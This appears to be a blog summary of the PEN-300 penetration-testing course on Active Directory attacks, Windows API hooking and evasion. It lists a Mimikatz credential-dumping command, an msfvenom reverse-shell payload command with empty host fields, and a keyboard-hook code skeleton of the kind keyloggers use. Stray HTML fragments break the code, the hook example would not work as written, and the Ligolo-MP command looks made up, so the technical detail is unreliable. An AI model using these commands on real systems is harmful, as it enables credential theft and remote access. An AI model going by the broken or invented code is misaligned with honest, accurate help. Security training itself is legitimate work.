The PEN-300 course by Offensive Security is a comprehensive training program that delves into advanced topics such as Active Directory, Windows API, and evasion techniques. This course is designed for penetration testers and red teamers who aim to enhance their skills in exploiting Windows environments and bypassing security mechanisms. The course content is highly praised, although some students feel that the exam does not fully reflect the depth of the material covered.
You Should Know:
1. Active Directory Exploitation:
- Command: `Get-ADUser -Filter * -Properties *`
– This PowerShell command retrieves all properties of all users in the Active Directory. - Command: `Invoke-Mimikatz -Command ‘”sekurlsa::logonpasswords”‘`
– Mimikatz is a powerful tool for extracting plaintext passwords, hashes, and Kerberos tickets from memory.
2. Windows API Hooking:
- Code Example:
#include <windows.h></li> </ul> HHOOK hHook; LRESULT CALLBACK HookCallback(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode >= 0) { // Custom logic here } return CallNextHookEx(hHook, nCode, wParam, lParam); } int main() { hHook = SetWindowsHookEx(WH_KEYBOARD, HookCallback, NULL, 0); if (hHook == NULL) { MessageBox(NULL, "Failed to install hook!", "Error", MB_ICONERROR); } return 0; }– This C++ code demonstrates how to set a hook on the keyboard to intercept key presses.
3. Evasion Techniques:
- Command: `msfvenom -p windows/meterpreter/reverse_tcp LHOST=
LPORT= -f exe -o payload.exe`
– This command generates a Meterpreter reverse TCP payload that can be used to establish a remote connection to a target machine. - Command: `sudo iptables -A OUTPUT -p tcp –dport 80 -j DROP`
– This Linux command blocks outgoing traffic on port 80, which can be used to test evasion techniques.
4. Ligolo-MP Tool:
- Command: `ligolo-mp -tunnel -agent -redirector`
– Ligolo-MP is a GUI version of Ligolo-NG that simplifies the creation of tunnels and redirectors. It is particularly useful for maintaining stable connections during network congestion.
What Undercode Say:
The PEN-300 course is an essential resource for anyone looking to master advanced penetration testing techniques in Windows environments. The course covers a wide range of topics, from Active Directory exploitation to Windows API hooking and evasion techniques. While the exam may not fully capture the depth of the course material, the hands-on experience gained from the labs and exercises is invaluable.
For those interested in furthering their knowledge, the OSED (Offensive Security Exploit Developer) course is a logical next step. Additionally, tools like Ligolo-MP can significantly enhance your red teaming capabilities by providing stable and efficient tunneling solutions.
Expected Output:
- Active Directory Exploitation: Use PowerShell and Mimikatz to extract sensitive information.
- Windows API Hooking: Implement custom hooks to intercept system events.
- Evasion Techniques: Generate payloads and test network evasion strategies.
- Ligolo-MP: Utilize this tool for efficient tunneling and redirector creation.
By mastering these techniques and tools, you will be well-equipped to tackle complex penetration testing challenges in Windows environments.
